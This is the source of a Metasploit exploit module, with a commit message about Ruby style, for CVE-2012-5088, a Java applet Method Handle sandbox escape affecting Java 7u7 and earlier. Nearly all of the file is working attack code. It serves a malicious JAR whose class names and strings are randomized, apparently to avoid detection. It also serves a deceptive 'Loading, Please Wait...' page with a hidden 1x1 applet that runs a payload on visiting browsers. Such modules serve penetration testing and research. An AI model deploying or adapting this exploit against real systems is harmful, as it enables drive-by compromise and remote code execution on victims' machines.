Files
metasploit-gs/modules/exploits/multi/browser/java_jre17_method_handle.rb
T
Tod Beardsley c547e84fa7 Prefer Ruby style for single word collections
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.

This change converts all Payloads to this format if there is more than
one payload to choose from.

It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

See:
  https://github.com/bbatsov/ruby-style-guide#collections
2013-09-24 12:33:31 -05:00

131 lines
4.1 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet Method Handle Remote Code Execution',
'Description' => %q{
This module abuses the Method Handle class from a Java Applet to run arbitrary
Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery at security-explorations.com
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-5088' ],
[ 'OSVDB', '86352' ],
[ 'BID', '56057' ],
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
],
'Platform' => %w{ java linux osx win },
'Payload' => { 'Space' => 20480, 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2012'
))
end
def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "B.class")
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
@exploit_class_name = rand_text_alpha("Exploit".length)
@exploit_class.gsub!("Exploit", @exploit_class_name)
super
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("B.class", @loader_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
html += %Q|</applet></body></html>|
return html
end
end